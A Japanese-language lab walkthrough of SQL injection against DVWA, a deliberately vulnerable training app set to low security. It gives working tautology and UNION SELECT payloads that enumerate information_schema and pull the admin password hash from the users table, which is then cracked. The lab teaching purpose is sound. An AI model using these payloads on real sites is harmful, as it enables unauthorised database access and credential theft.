DVWAでSQLインジェクション


前提

目標

  • sqlインジェクションでadminのパスワードを奪取する

手順概要

  • sqlインジェクションができるか確認する
  • DVWAで使用されているDBを見つける
  • ユーザ情報を管理しているテーブルを特定する
  • 特定したテーブル内の使用されるカラムを確認する
  • カラムにパスワードに関するものをみつける
  • adminのパスワードを奪取する
  • 暗号化されているので解読する

内容

SQLインジェクションとは

  • 入力フォームなどからSQL命令を直接送り込み、データベースに不正アクセスする方法

前準備

  • DVWAにログインする
  • セキュリティレベルを下げる。

    • メニュー下にあるDVWA securityへアクセス
    • デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する
  • SQLインジェクションページにアクセスする(左メニューの下にある)

インジェクション開始

  • まずは、ログインフォームが機能するか確認
    • 取り合えず「1」を入力すると、id:1のユーザー情報が返ってくる。
-- 余談だが、こんな感じの命令文なのだろう
SELECT [表示する要素名] FROM [テーブル名] where id = [入力値]
  • sql命令文が通るか確認する
    • 「1' or 'a'='a」と入力すると、全ユーザーが出力された。つまり、sql命令可能なフォームであることが分かった。
-- 1' or 'a'='a'とすると,後者が必ずtrueになるので全部ユーザー返ってくるはず
SELECT [表示する要素名] FROM [テーブル名] where id = [入力値] OR 'a' ='a

  • DBのバージョン取得する(今回のpw奪取には不要だが一応)
    • 「' union select version(), null #」と入力すると、バージョンが返ってきた。
-- バージョンを取得
select version()
-- 今回すでにselect文が組み込まれているので、1つの命令で2つのselectを流すようにする
-- unionはselectを統合する
-- 最後は#で不要な命令をコメントアウトする
union select version() #
--The used SELECT statements have a different number of columnsってエラーになる
union select version(), null #

  • 検索すべきDBを特定するためDB名を取得(ついでにホスト名とユーザー名)
    • 「' union select @@hostname,database() #」と入力すると、hostname:kali,DB:dvwaであることが分かった。
    • 「' union select user(),'hoge' #」と入力すると、user:mysqlであることが分かった。
-- ホスト名
@@hostname
-- データベース名
database()
-- ユーザー名
user()
-- バージョン取得時と同様に
union select @@hostname,database() #
union select user(),'hoge' #

  • DB:dvwaのテーブルを取得
    • 「' union select table_name, null from information_schema.tables where table_schema = 'dvwa' #」と入力するとguestbookとusersの2つテーブルがあることが分かった。
    • 多分usersテーブルにユーザー情報がありそうだと目星をつける。
-- information_schemaが持つデータは以下の3つ
-- <1>schemata:DBのメタ情報
-- <2>tables:テーブルのメタ情報
-- <3>column:カラムのメタ情報
union select table_name, null from information_schema.tables #
-- 多量のデータが出てきたので、絞り込む。今回のDBはdvwaなのでそれを使う
union select table_name, null from information_schema.tables where table_schema = 'dvwa'#

  • ユーザーテーブルのカラムを参照
    • 「' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa'#」と入力すると、各テーブルのカラムが出てきた。
union select table_name,column_name from information_schema.columns where table_schema = 'dvwa'#

  • passwordカラムの存在を確認できたので、adminのパスワードを奪取する

    • 「' union select user, password from dvwa.users where user = 'admin' #」と入力すると、adminのみのパスワードが出力された。
  • ハッシュパスワードを解析する

  • admin/passwordを奪取できた。